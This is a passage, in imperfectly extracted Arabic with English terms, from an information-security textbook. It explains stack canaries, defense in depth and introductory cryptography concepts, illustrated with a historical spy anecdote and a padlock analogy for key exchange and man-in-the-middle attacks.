‫منهم‬ ً‫ة‬‫حساسي‬ ‫أكثر‬ ‫أنه‬ ‫ذي‬ ‫الطائر‬ ‫ذذا‬ ‫قائدة‬
‫لألكسجني‬
‫ططورة‬ ‫بذلك‬ ً‫ا‬‫نذر‬ُ‫م‬ ً‫ا‬‫بكر‬ُ‫م‬ ‫لالطتناق‬ ‫سيتعرض‬ ‫وبالتايل‬ ..
.‫بالداطل‬ ‫التعمق‬ ‫استكامل‬
.
‫ال‬ ‫أنواع‬ ‫من‬ ‫كنوع‬ ‫تطبيقه‬ ‫نريد‬ ‫ما‬ ‫بالضبط‬ ‫وذذا‬
protection
‫لل‬
Stack
.
‫عن‬ ‫عبارة‬ ‫قهي‬
values
32 bits
‫ال‬ ‫بني‬ ‫ما‬ ٍ‫مكان‬ ‫يف‬ ‫وضعها‬ ‫يتم‬
buffers
‫احلساس‬ ‫والبيانات‬
‫ة‬
‫ويف‬ ،‫محايتها‬ ‫نود‬ ‫التي‬
‫حدوث‬ ‫حالة‬
buffer overflow
‫ال‬ ‫ذذه‬ ‫ستتعرض‬ ..
Canaries
‫ال‬ ‫هلذا‬
overflow
..ً‫ال‬‫أو‬
ً‫ة‬‫ر‬‫نذ‬ُ‫م‬
‫الربنامج‬ ‫بذلك‬
‫ال‬ ‫وصول‬ ‫قبل‬ ‫طلل‬ ‫بحدوث‬
overflow
.‫البيانات‬ ‫هلذه‬
‫ال‬ ‫يوضح‬ ‫شكل‬ ‫ماييل‬
Stack
‫ال‬ ‫وجود‬ ‫مع‬
canary
‫ال‬ ‫بني‬
buffers
‫ال‬ ‫و‬
variables
.
↑ Lower addresses
var2 4 bytes
buf 80 bytes
var1 4 bytes
saved ebp 4 bytes
canary 4 bytes
return address 4 bytes
arg 4 bytes
↓ Higher addresses
‫احلامي‬ ‫حتقيق‬ ‫مفهوم‬ ‫يوضح‬ ‫والذي‬ ،‫التايل‬ ‫بالشكل‬ ‫الباب‬ ‫ذذا‬ ‫نختم‬
‫ة‬
‫تقنيات‬ ‫عدة‬ ‫وباستخدام‬ ‫طبقات‬ ‫عدة‬ ‫عىل‬
.
“Using different methods in multiple layers of security”
‫عليه‬ ‫ق‬َ‫ل‬‫ط‬ُ‫ي‬ ‫ما‬ ‫وذذا‬
“Defense in Depth”
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[286]
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[287]
‫ع‬ ‫اطرتاق‬ ‫حماوالت‬ ‫يوضح‬ ‫الشكل‬
‫د‬
‫ة‬
‫آليات‬ ‫بعدة‬ ‫لحباطها‬ ‫يتم‬ ،
:

‫ال‬ ‫طريق‬ ‫عن‬ ‫املحاولة‬ ‫لحباط‬ ‫تم‬ ‫األول‬ ‫الشكل‬ ‫قفي‬
“Firewall”
‫ال‬ ‫بسبب‬ ،
Rules
‫ألغلب‬ ‫تتصدى‬ ‫التي‬
‫اهلجامت‬
.

‫جتاوز‬ ‫الشاب‬ ‫استطاع‬ ‫الثاين‬ ‫الشكل‬ ‫يف‬
‫ال‬
FW
،
‫ب‬ َ
‫أمسك‬ ‫لكن‬
‫ال‬ ‫ه‬
“IPS”
.

‫الثالث‬ ‫احلالة‬ ‫يف‬
‫ة‬
،!‫املرجو‬ ‫اجلهاز‬ ‫لىل‬ ‫ليصل‬ ‫جتاوزذم‬ ‫استطاع‬
‫ال‬ ‫بواسطة‬ ‫به‬ ‫اإلمساك‬ ‫تم‬ ‫لكن‬
“Anti Virus”
.

‫ال‬ ‫دي‬ َ
‫َص‬‫ت‬ ‫ب‬َ‫ب‬ َ
‫س‬‫ب‬ ‫ح‬َ‫ل‬‫ف‬َ‫ي‬ ‫مل‬ ‫لكن‬ ،!‫نقله‬ ‫اول‬ ُ
‫وحي‬ ‫ملف‬ ‫نسخ‬ ‫استطاع‬ ‫أنه‬ ‫يظهر‬ ‫الرابع‬ ‫الشكل‬ ‫يف‬
“DLP”
(Data Leakage Preventions)

‫استطا‬ ‫األطري‬ ‫الشكل‬ ‫ويف‬
‫ال‬ ‫ة‬َ‫ق‬ َ
‫ِس‬ ‫ع‬
Data
‫طة‬‫واس‬‫ب‬ ‫ية‬‫م‬ َ
‫حم‬ ‫ا‬ ّ
‫أهن‬‫ب‬ ‫قوجئ‬ ‫ها‬‫تح‬َ‫ف‬‫ب‬ ‫ام‬َ‫ق‬ َ‫حني‬ ‫ولكن‬
‫ال‬
“Digital Rights Management”
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[288]
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[289]
Part IV
Cryptography
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[290]
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[291]
Introduction
..‫س‬ُ‫ل‬‫األند‬ ‫يف‬ ‫وية‬َ‫م‬ُ‫أل‬‫ا‬ ‫القة‬‫اخل‬ ‫ام‬‫ك‬ ُ‫ح‬ ‫د‬ َ‫ح‬َ‫أ‬ ‫هد‬َ‫ع‬ ‫يف‬ ‫ت‬َ‫ث‬َ‫د‬ َ‫ح‬ ‫قصة‬ ‫ر‬‫ك‬َ‫َذ‬‫ت‬‫أ‬
َ‫م‬ ‫كان‬ ‫ق‬‫اخلار‬ ‫ل‬ ُ‫ج‬‫الر‬ ‫ذا‬َ‫ذ‬
‫أو‬ ‫َة‬‫ك‬ َ‫عر‬َ‫م‬ ‫َخسني‬ ‫نحو‬ َ
‫طاض‬ ُ‫ه‬‫أن‬ ‫قيل‬ ‫ققد‬ ،!‫جها‬‫وطار‬ ‫األندلس‬ ‫يف‬ ‫ه‬‫أعدائ‬ َ‫ند‬‫ع‬ ‫عب‬ ُّ‫للر‬ ً‫ا‬‫ر‬َ‫د‬‫ص‬
‫كان‬ ‫التي‬ ‫ون‬ ُ
‫ص‬ُ‫حل‬‫وا‬ ‫ن‬‫دائ‬َ‫مل‬‫ا‬ ‫كثرة‬‫ل‬ ‫ه‬‫هد‬َ‫ع‬ ‫يف‬ ‫كبري‬ ‫شكل‬‫ب‬ ‫لس‬َ‫األند‬ ‫يف‬ ‫سلمني‬ُ‫مل‬‫ا‬ ‫دولة‬ ‫ت‬َ‫ع‬‫واتس‬ .!‫ط‬َ‫ق‬ ‫م‬‫يه‬‫ق‬ ‫م‬ َ‫ز‬ ُ
‫هي‬ ‫مل‬ ،‫غزوة‬
‫ها‬‫ضع‬َ‫و‬َ‫و‬ ‫ها‬‫ح‬‫ت‬َ‫ق‬ ‫أو‬ ‫ذا‬‫باسرتداد‬ ‫قوم‬َ‫ي‬
.‫قيادته‬ َ
‫ت‬ َ
‫حت‬
..)‫املنصور‬ ‫(احلاجب‬ ‫عامر‬ ‫أيب‬ ‫بن‬ ‫د‬‫م‬َ ُ
‫حم‬
.!ّ‫ذ‬َ‫ف‬‫ال‬ ‫ه‬‫كائ‬َ‫ذ‬‫و‬ ،‫العالية‬ ‫َه‬‫ت‬‫ومه‬ ،‫الكبري‬ ‫ه‬‫وح‬ُ‫م‬ُ‫ط‬‫و‬ ،‫ه‬‫ت‬َ‫َباذ‬‫ن‬‫ب‬ ‫ره‬َ‫غ‬‫ص‬ ُ‫ذ‬‫ن‬ُ‫م‬ َ
‫ف‬‫ر‬ُ‫ع‬
َ
‫ق‬َ‫َح‬‫ت‬‫ال‬
‫ب‬ ‫ب‬‫ناص‬َ‫م‬ ‫ة‬‫د‬‫ع‬ ‫َوليه‬‫ت‬‫ب‬ ‫القة‬‫اخل‬ ‫قرص‬ َ‫ع‬َ‫م‬ ‫حلته‬‫ر‬ ‫دأت‬َ‫ب‬ ‫م‬ُ‫ث‬ ،‫بة‬ُ‫ط‬‫ر‬ُ‫ق‬ ‫يف‬ ‫واحلديث‬ ‫األدب‬ ‫علوم‬ ‫ليدرس‬
‫أن‬ ‫لىل‬ ..‫تدرجيي‬ ‫كل‬ َ
‫ش‬
‫اخلليفة‬ ‫لبن‬ ..‫شام‬‫هل‬ ً‫ال‬‫وكي‬ ‫حينها‬ َ‫وكان‬ ،‫الرشطة‬ ‫قيادة‬ ‫تسليمه‬ ‫َم‬‫ت‬
"
‫باهلل‬ ‫املستنرص‬
"
.
‫ن‬ ّ
‫الس‬ ‫الصغري‬ ‫اخلليفة‬ ‫لوغ‬ُ‫ب‬ ‫ني‬‫حل‬ ‫األمور‬ ‫قاليد‬َ‫م‬ ‫عامر‬ ‫أيب‬ ‫بن‬ ‫د‬‫م‬َ ُ
‫حم‬ ‫م‬‫ل‬ َ
‫َس‬‫ت‬‫ق‬ ،!ً‫ا‬‫صغري‬ ‫اليزال‬ ‫ذشام‬ ‫كان‬ ‫اخلليفة‬ ‫وقاة‬ ‫وبعد‬
.‫لطه‬ ُ
‫الس‬ ‫َويل‬‫ت‬‫ل‬ ‫ب‬‫ناس‬ُ‫مل‬‫ا‬
‫املسبوق‬ ‫غري‬ ‫سكرية‬َ‫ع‬‫ال‬ ‫لنجازاته‬ ‫ل‬ِّ‫سج‬ُ‫ي‬ ‫التاريخ‬ ‫أ‬َ‫د‬َ‫ب‬ ‫م‬ُ‫ث‬
‫ة‬
.!
‫ص‬‫ق‬ ‫ُم‬‫ك‬‫ل‬ ‫سأروي‬ ‫ن‬‫ولك‬ ،‫كاهنا‬َ‫م‬ َ
‫ليس‬ ‫ذا‬َ‫ه‬َ‫ق‬ ‫اإلنجازات‬ ‫ه‬‫ذ‬َ‫ذ‬ ‫يف‬ ‫َخوض‬‫ن‬ ‫ن‬َ‫ل‬
‫ة‬
:‫ِسيعة‬
‫بمدينة‬ ‫ه‬‫غزوات‬ ‫لحدى‬ ‫يف‬ ‫نصور‬َ‫مل‬‫ا‬ ‫ب‬‫احلاج‬ ‫ر‬َ‫ق‬َ‫ت‬‫اس‬ ..‫األيام‬ ‫من‬ ‫يوم‬ ‫يف‬
"
‫سامل‬
"
‫ال‬ ‫دود‬ ُ‫ح‬ ‫عىل‬ ُ‫ه‬‫نا‬َ‫ب‬ ‫الذى‬ ‫الثغر‬ ‫و‬ُ‫وذ‬
‫ل‬َ‫و‬ُ‫د‬
َ‫ر‬‫طاط‬ ُ‫ه‬َ‫ل‬ ‫ت‬ َ‫ر‬َ‫ط‬ َ
‫وط‬ ،‫س‬ُ‫ل‬َ‫األند‬ ‫امل‬ َ
‫ش‬ ‫يف‬ ‫النرصانية‬
‫ة‬
‫شديدة‬ ‫ليلة‬ ‫يف‬ ‫قرسانه‬ ‫أحد‬ ‫قاستدعى‬ ،‫وتوقعاته‬ ‫ذكائه‬ ‫دى‬َ‫م‬ ‫عىل‬
‫املدين‬ ‫ذذه‬ ‫رب‬ُ‫ق‬ ‫يق‬‫ض‬َ‫مل‬‫ا‬ ‫من‬ ‫مكان‬ ‫اىل‬ ‫خيرج‬ ‫أن‬ ُ‫ه‬‫وكلف‬ ،‫االمطار‬ ‫كثرية‬ ،‫الربد‬
‫ة‬
:‫له‬ ‫وقال‬ ،
"
‫الليل‬ ‫ذذه‬ ‫يف‬ ‫بك‬ ‫مر‬ ‫من‬
‫ة‬
‫كا‬ ‫من‬ ً‫ا‬‫كائن‬ ‫ليل‬ ‫به‬ ‫تأيت‬ ..
‫ن‬
"
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[292]
.!‫الغزير‬ ‫واملطر‬ ‫القارص‬ ‫الربد‬ ‫الليلة؟‬ ‫ذذه‬ ‫مثل‬ ‫يف‬ ‫ج‬ ُ‫ر‬ َ
‫خي‬ ‫ومن‬ ..‫نفسه‬ ‫يف‬ ‫يتسائل‬ ‫وبدأ‬ ‫الفارس‬ ‫قاستغرب‬
‫كانوا‬ ‫الذين‬ ‫النصارى‬ ‫من‬ ‫كبري‬ ‫بشيخ‬ ‫ولذا‬ ،‫املطر‬ ‫وابل‬ ‫حتت‬ ‫الربد‬ ‫من‬ ‫يرجف‬ ‫الطريق‬ ‫د‬ ُ
‫يرص‬ ‫وبقي‬ ،‫األمر‬ ‫الفارس‬ َ‫ذ‬‫نف‬
‫املدين‬ ‫ذذه‬ ‫يف‬ ‫يعيشون‬
‫ة‬
‫الذم‬ ‫أذل‬ ‫من‬
‫ة‬
‫دابة‬ ‫عىل‬ ،
‫وم‬
‫ل‬‫ب‬ َ‫وح‬ ‫قأس‬ ‫ن‬‫م‬ ‫احلطب‬ ‫آلة‬ ‫عه‬
.
‫العجوز‬ ‫أهيا‬ ‫أين‬ ‫لىل‬ :‫استوقفه‬ ‫أن‬ َ‫عد‬َ‫ب‬ ‫س‬‫الفار‬ ُ‫ه‬‫أل‬ َ
‫س‬َ‫ق‬
‫؟‬ ‫تفعل‬ ‫وماذا‬ ‫؟‬ ‫الوقت‬ ‫ذذا‬ ‫مثل‬ ‫يف‬
‫العج‬ ‫قال‬
‫ليستدقئوا‬ ‫ألذيل‬ ً‫ا‬‫طب‬ َ‫ح‬ ‫أريد‬ :‫وز‬
..
‫ري‬ َ
‫س‬ ‫ل‬‫واص‬ُ‫ي‬ ‫الفارس‬ ُ‫ه‬َ‫ك‬َ َ
‫رت‬َ‫ق‬
‫ة‬
‫زم‬َ‫ح‬‫ب‬ ً‫ا‬‫عروق‬َ‫م‬ َ‫كان‬ ‫ققد‬ ..‫نصور‬َ‫مل‬‫ا‬ ‫ب‬‫احلاج‬ ‫مر‬َ‫أ‬ ‫ر‬‫ك‬َ‫تذ‬ ُ‫ه‬‫ن‬‫لك‬ ،
،‫ه‬‫ت‬‫د‬‫وش‬ ‫ه‬
،‫األمري‬ ‫لىل‬ ‫عي‬َ‫م‬ ‫تأيت‬ ‫أن‬ ‫د‬ُ‫ب‬‫ال‬ : ً‫ال‬‫قائ‬ ‫جوز‬َ‫ع‬‫ال‬ َ
‫ف‬َ‫ق‬‫قأو‬
.‫سريي‬ ‫تابع‬ُ‫أ‬ ‫دعني‬ ،‫مني؟‬ ‫األمري‬ ‫ريد‬ُ‫ي‬ ‫وماذا‬ :‫قال‬
،!‫ريب‬ُ‫م‬ ‫يشء‬ ‫عىل‬ ‫عثروا‬ ‫قام‬ ‫مالبسه‬ ‫وحتري‬ ‫بتفتيشه‬ َ‫ر‬َ‫م‬‫قأ‬ ..‫املنصور‬ ‫احلاجب‬ ‫يدي‬ ‫بني‬ ‫املثول‬ ‫عىل‬ ‫أجربه‬ ‫الفارس‬ ‫أن‬ ‫لال‬
‫بتحري‬ ‫املنصور‬ َ‫قأمر‬
،!‫امر‬‫احل‬ ‫بردعة‬
‫املدين‬ ‫ذذه‬ ‫من‬ ‫جهة‬ ‫يف‬ ‫نني‬‫القاط‬ ‫النصارى‬ ‫بعض‬ ‫من‬ ‫ططابا‬ ‫قيها‬ ‫وجدوا‬ ‫حترهيا‬ ‫وبعد‬
‫ة‬
‫ثغرات‬ ‫من‬ ‫ثغرة‬ ‫عىل‬ ‫العدو‬ ‫دلون‬َ‫ي‬
:‫كاتبني‬ ‫املسلمني‬
"
‫وعىل‬ ‫سامل‬ ‫مدينة‬ ‫عىل‬ ‫اذجموا‬ ‫أن‬
‫الفالني‬ ‫اجلهة‬ ‫من‬ ‫املنصور‬ ‫جيش‬
‫ة‬
‫املباغت‬ ‫تلك‬ ‫عىل‬ ‫نساعدكم‬ ‫ونحن‬
‫ة‬
"
.
‫احلار‬ ‫من‬ ‫الدذشة‬ ‫متكنت‬
‫املنصور‬ ‫من‬ ‫واستفهم‬ ،‫س‬
،!
‫؟‬ ‫الليلة‬ ‫تلك‬ ‫يف‬ ‫ر‬ُ‫سيم‬ ‫اجلاسوس‬ ‫ذذا‬ ‫أن‬ ‫عرقت‬ ‫وكيف‬
:‫ققال‬
‫أمثاهلا؟‬ ‫لال‬ ‫العيون‬ ‫تنتهز‬ ‫وذل‬
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[293]
!‫صديقي‬ ‫يا‬ ‫القصة‬ ‫انتهت‬
‫بعض‬ ‫ُجري‬‫ن‬ َ
‫تعال‬ ‫واآلن‬
‫التحليالت‬
:
‫به‬ ‫اإلمساك‬ ‫تم‬ ‫الذي‬ ‫الشيخ‬ ‫ذذا‬
..
‫القاسي‬ ‫ناطية‬ُ‫مل‬‫ا‬ ‫الظروف‬ ‫ذذه‬ ‫باستغالل‬ ‫قام‬
‫ة‬
‫با‬ ‫أشبه‬ ‫يشء‬ ‫لتكون‬
‫ل‬
“Secure Tunnel”
‫اجلهتني‬ ‫بني‬ ‫لنشاؤه‬ ‫تم‬ ‫الذي‬
.‫بينهم‬ ‫يصل‬ ‫التي‬
‫التعمية‬ ‫أساليب‬ ‫بعض‬ ‫امرس‬ُ‫ي‬‫ل‬ ‫احلطب‬ ‫آلة‬ ‫معه‬ ‫اصطحب‬ ‫ثم‬
“Obscurity”
،
‫أال‬ ‫الفارس‬ ‫يدقع‬ ‫كي‬
‫احرت‬ ‫بشكل‬ ‫الرسالة‬ ‫بإطفاء‬ ‫قام‬ ً‫ا‬‫وأيض‬ ،‫فيه‬ ُ
‫ماخي‬ ‫عىل‬ ‫ركز‬ُ‫ي‬
‫عليها‬ ‫العثور‬ ‫عملية‬ ‫ب‬ِّ‫ع‬‫ص‬ُ‫ي‬‫ل‬ ‫ايف‬
.
‫من‬ ُ‫ه‬‫يال‬
‫غ‬‫راو‬ُ‫م‬
‫بق‬ ‫لكن‬ ..
‫ر‬‫شف‬ُ‫م‬ ‫غري‬ ‫نفسها‬ ‫الرسالة‬ ‫أن‬ ‫وذي‬ ‫ططرية‬ ‫ضعف‬ ‫نقطة‬ ‫يت‬
‫ة‬
.!
..ً‫ال‬‫قلي‬ ‫معي‬ ‫ِّر‬‫ك‬‫ق‬
‫الوسطى‬ ‫القرون‬ ‫يف‬ ‫نعيش‬ ‫أننا‬ ‫ختيل‬
،
‫ِسية‬ ‫تواصل‬ ‫عملية‬ ‫ُحقق‬‫ن‬ ‫أن‬ ‫ونريد‬
.
.‫وموثوق؟‬ ‫ِسي‬ ‫وبشكل‬ ‫طرى‬ُ‫أ‬ ‫مدينة‬ ‫يف‬ ‫يقع‬ ‫شخص‬ ‫مع‬ ‫للتواصل‬ ‫رغبتي‬ ‫حالة‬ ‫يف‬ ‫أقعل‬ ‫ماذا‬
...
.. ‫انتهيت؟‬ ‫ذل‬
:‫باآليت‬ ‫سأقوم‬ ‫ربام‬
‫س‬
‫وبداطله‬ ‫طشبي‬ ‫صندوق‬ ‫حيمل‬ ‫رسول‬ ‫بإرسال‬ ‫أقوم‬
"
‫قفل‬
"
‫القفل‬ ‫ذذا‬ ،!‫ققط‬ ‫أنا‬ ‫معي‬ ‫مفتاحه‬ ‫سيكون‬ ‫القفل‬ ‫ذذا‬ ،
..‫الصندوق‬ ‫داطل‬ ً‫ا‬‫مفتوح‬ ‫سأتركه‬
‫بأطذ‬ ‫ذو‬ ‫سيقوم‬ ،‫املرجو‬ ‫للشخص‬ ‫وصوله‬ ‫وعند‬
"
‫قفيل‬
"
‫ذذا‬ ‫يف‬ ‫يضع‬ ‫ثم‬ ،‫ذذا‬
‫الصندوق‬
"
‫ذو‬ ‫قفله‬
"
.‫لديه‬ ‫القفل‬ ‫بمفتاح‬ ‫وحيتفظ‬ ‫مفتوح‬ ُ‫ه‬‫سيرتك‬ ً‫ا‬‫وأيض‬
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[294]
‫و‬
‫أغلقه‬ ‫ثم‬ ‫الصندوق‬ ‫بداطل‬ ‫اخلطرية‬ ‫رسالتي‬ ‫سأضع‬ ‫حينها‬ ،!‫املفتوح‬ ‫صديقي‬ ‫قفل‬ ‫وبه‬ ‫الصندوق‬ ‫ليل‬ ‫سيأيت‬ ‫اآلن‬
‫ألنه‬ ‫صديقي‬ ‫لال‬ ‫قتحه‬ ‫من‬ ‫يتمكن‬ ‫لن‬ ُ
‫حيث‬ ،‫ِسية‬ ‫يف‬ ‫أنه‬ ‫ن‬‫طمئ‬ُ‫م‬ ‫وأنا‬ ‫الرسول‬ ‫مع‬ ُ‫ه‬‫ل‬‫رس‬ُ‫أ‬‫و‬ ‫بصديقي‬ ‫اخلاص‬ ‫بالقفل‬
..‫القفل‬ ‫ذذا‬ ‫مفتاح‬ ‫حيمل‬ ‫الذي‬ ‫الوحيد‬
‫صدي‬ ‫يل‬ ‫سيكتب‬ ‫وباملثل‬
‫أحدذم‬ ‫يتمكن‬ ‫لن‬ ‫وبالطبع‬ ،‫ليل‬ ‫الصندوق‬ ‫لرسال‬ ‫ويعيد‬ ،‫أنا‬ ‫بقفيل‬ ‫الصندوق‬ ‫ق‬‫غل‬ُ‫ي‬‫و‬ ‫الرد‬ ‫قي‬
.!‫سواي‬ ‫قتحه‬ ‫من‬

‫كذلك؟‬ ‫أليس‬..
.
‫أحدذم‬ ‫يقوم‬ ‫أو‬ ،!‫الطريق‬ ‫أثناء‬ ‫للكُس‬ ‫القفل‬ ‫يتعرض‬ ‫قربام‬ ،!‫الصندوق‬ ‫سالمة‬ ‫نضمن‬ ‫مل‬ ‫لكن‬ ‫الُسية‬ ‫بضامن‬ ‫قمنا‬ ‫لقد‬
‫وبعد‬ ،‫صديقي‬ ‫لىل‬ ‫ولرساله‬ ‫القفل‬ ‫بتغيري‬
،!‫يل‬ ُ‫ه‬‫سل‬ ُ
‫لري‬ ‫آطر‬ ‫بقفل‬ ‫باستبداله‬ ً‫ا‬‫أيض‬ ‫سيقوم‬ ،‫اخلاص‬ ‫قفله‬ ‫صديقي‬ ‫يضع‬ ‫أن‬
‫الشخص‬ ‫ذذا‬ ‫يكون‬ ‫وِبذا‬
“Man in the middle”
‫مر‬ ‫من‬ ‫ألكثر‬ ‫ذذا‬ ‫يستمر‬ ‫لن‬ ‫ولكن‬ .‫بيننا‬
‫ة‬
‫أنا‬ ‫نتمكن‬ ‫لن‬ ‫حيث‬ ،
‫الشخص‬ ‫ذذا‬ ‫باستبداهلا‬ ‫قام‬ ‫أطرى‬ ‫ألقفال‬ ‫كانت‬ ‫مفاتيحنا‬ ‫ألن‬ ‫غلقها‬ ‫بعد‬ ‫األقفال‬ ‫قتح‬ ‫من‬ ‫وصديقي‬
‫ا‬
‫لدطيل‬
.!
‫ال‬ ‫ماذذا‬
Challenge
!!
‫تضمن‬ ‫التي‬ ‫اآلليات‬ ‫لبعض‬ ‫بحاجة‬ ‫أننا‬ ‫يبدو‬
‫واملوثوقية‬ ،‫والسالمة‬ ،‫واملصداقية‬ ،‫اخلصوصية‬ ‫لنا‬
‫مع‬ ‫تعاملنا‬ ‫أثناء‬
‫ال‬ ‫أو‬ ‫اإللكرتونية‬ ‫األجهزة‬ ‫أو‬ ‫األشخاص‬
Data
.!‫بأنواعها‬
.‫عملها‬ ‫وآليات‬ ‫البيانات‬ ‫تشفري‬ ‫تقنيات‬ ‫عىل‬ ‫الباب‬ ‫ذذا‬ ‫يف‬ ً‫ا‬‫مع‬ ‫سنتعرف‬
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[295]
Cryptography
‫ال‬
Cryptography
‫ال‬ ‫باستخدام‬ ‫وذلك‬ ،!‫ِسي‬ ‫بشكل‬ ‫أكثر‬ ‫أو‬ ‫طرقني‬ ‫بني‬ ‫التواصل‬ ‫عملية‬ ‫ذو‬
Ciphers
.
‫ال‬ ‫ذذا‬ ‫ما‬
Cipher
‫؟‬
‫ال‬ ‫عىل‬ ‫تطرأ‬ ‫التي‬ ‫الذكية‬ ‫التوليفة‬ ‫لنه‬ ..‫نعم‬
Plaintext
‫ال‬ ‫لىل‬ ‫ل‬‫َحو‬‫ت‬َ‫ي‬‫ل‬
Ciphertext
.
‫ال‬ ‫ذو‬ ‫وما‬
CipherText
‫ال‬ ‫أمثلة‬ ‫وماذي‬.. ‫؟‬
Plaintext
‫؟‬..‫التعقيد‬ ‫ِبذا‬ ‫بتشفريذا‬ ‫سنهتم‬ ‫التي‬
‫ال‬ ‫ذذا‬
CipherText
‫ال‬ ‫عن‬ ‫عبارة‬ ‫ذو‬
“Scrambled Message”
‫ال‬ ُ‫ه‬‫لن‬ ،
output
‫التشفري‬ ‫معادالت‬ ‫تطبيق‬ ‫من‬ ‫الناتج‬
‫ال‬ ‫باستخدام‬
Secret Key
‫ال‬ ‫عىل‬
PlainText
‫أو‬
‫ال‬
Message
.‫لرساهلا‬ ‫راد‬ُ‫مل‬‫ا‬
‫ال‬ ‫ذذا‬ ‫أما‬
plaintext
‫ال‬ ‫قهو‬
data
‫كرسالة‬ ‫همة‬ُ‫مل‬‫ا‬
‫حساس‬ ‫معلومات‬ ‫ِبا‬ ‫للكرتوين‬ ‫بريد‬
‫ة‬
‫بطاقة‬ ‫بيانات‬ ‫أو‬ ،
Credit Card
‫ملف‬ ‫أو‬ ،
Data Base
‫غري‬ ‫أو‬ ،
‫احل‬ ‫البيانات‬ ‫من‬ ‫ذلك‬
‫راد‬ُ‫مل‬‫ا‬ ‫ساسة‬
‫محايتها‬
.
‫ال‬ ‫ماذذا‬
Secret Key
‫؟‬
‫ال‬ ‫لنه‬
Randomizer
‫ال‬ ‫داطل‬ ‫ستخدم‬ُ‫ي‬ ‫الذي‬
Algorithm
،
‫ال‬ ‫أن‬ ‫قرضنا‬ ‫لو‬ ً‫ال‬‫قمث‬
Algorithm
‫من‬ ‫جمموعة‬ ‫عن‬ ‫عبارة‬
‫املع‬
‫ال‬ ‫وظيفة‬ ‫قتكون‬ ،‫الرياضية‬ ‫ادالت‬
Key
‫كي‬ ‫قيها‬ ‫ه‬َ‫م‬َ‫َخد‬‫ت‬‫س‬ُ‫مل‬‫ا‬ ‫م‬َ‫ي‬‫الق‬ ‫واطتيار‬ ‫املعادالت‬ ‫ذذه‬ ‫استخدام‬ ‫ترتيب‬ ‫حتديد‬
‫النهاية‬ ‫يف‬ ‫نتج‬َ‫ي‬
output
‫ال‬ ‫عن‬ ‫ف‬‫تل‬ ُ
‫ُم‬
output
‫ال‬ ‫نفس‬ ‫باستخدام‬ ‫قبله‬ َ
‫َج‬‫ت‬َ‫ن‬ ‫الذي‬
Algorithm
‫ثابت‬ ‫املعادالت‬ ‫ألن‬ ..!
‫ة‬
،!
‫ال‬ ‫عىل‬ ‫ذي‬ ‫كام‬ ‫طبقناذا‬ ‫قلو‬
plaintext
‫ال‬ ‫إلنتاج‬
Ciphertext
‫ال‬ ‫ِبذا‬ ‫باإلمساك‬ ‫أحدذم‬ ‫وقام‬
cipher
‫نوع‬ ‫معرقة‬ ‫مع‬
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[296]
‫ال‬
Algorithm
‫ال‬ ‫اسرتجاع‬ ‫من‬ ‫ساطة‬َ‫ب‬ ‫ُل‬‫ك‬‫ب‬ ‫قسيتمكن‬ ،‫ة‬َ‫م‬َ‫َخد‬‫ت‬‫س‬ُ‫مل‬‫ا‬
plaintext
‫ال‬ ‫وجود‬ ‫أما‬ ،!!
Key
‫األمر‬ ‫يزيد‬
‫صعوب‬
‫ة‬
‫ال‬ ‫عىل‬ ‫طرئت‬ ‫التي‬ ‫والتغريات‬ ‫اخلطوات‬ ‫ختمني‬ ‫من‬ ‫يتمكن‬ ‫لن‬ ‫حيث‬
plaintext
‫ذذا‬ ‫إلنتاج‬
‫ال‬
Cipher
..
‫ال‬ ‫ذذا‬ ‫لىل‬ ‫سنعود‬
key
‫أطرى‬ ً‫ة‬‫مر‬
‫قليل‬ ‫بعد‬
.
‫ال‬ ‫تعريف‬ ‫ذو‬ ‫ما‬ ‫ولكن‬
Algorithm
‫؟‬ً‫ا‬‫لذ‬
‫ال‬ ‫من‬ ‫جمموعة‬ ‫عن‬ ‫عبارة‬ ‫لهنا‬
Mathematical Rules
.‫التشفري‬ ‫وقك‬ ‫التشفري‬ ‫عملية‬ ‫يف‬ ‫م‬َ‫َخد‬‫ت‬‫ُس‬‫ت‬‫س‬ ‫التي‬
‫ال‬ ‫وتعتمد‬
Algorithm
‫ال‬ ‫عىل‬
Key
‫ال‬ ‫لتحقيق‬
Security
‫أن‬ ُ
‫حيث‬ ،!‫املرجو‬

‫ال‬
Algorithms
‫للجميع‬ ‫معلومة‬ ‫تكون‬
(Algorithms should be public)
.

‫ال‬ ‫بينام‬
Key
‫ل‬‫ستقب‬ُ‫مل‬‫وا‬ ‫ل‬‫رس‬ُ‫مل‬‫ا‬ ‫بني‬ ‫ِسي‬ ‫يكون‬ ‫أن‬ ‫البد‬
(Keys should remain private)
.
‫قي‬‫نط‬َ‫م‬ ‫ة‬َ‫َتيج‬‫ن‬‫ل‬ ‫الوصول‬ ‫ُنا‬‫ن‬‫مك‬ُ‫ي‬
‫ة‬
:‫وذي‬ ،
“The algorithm will produce a different output depending on the secret key”
..Key values are used by the algorithms to indicate which equations to use, in what order, and
with what values!.
‫ال‬ ‫ذذه‬ ‫تعمل‬ ‫كيف‬ ..‫جيد‬ ‫ذذا‬
Algorithm
‫ال‬ ‫سيعمل‬ ‫كيف‬ ‫أو‬ ،
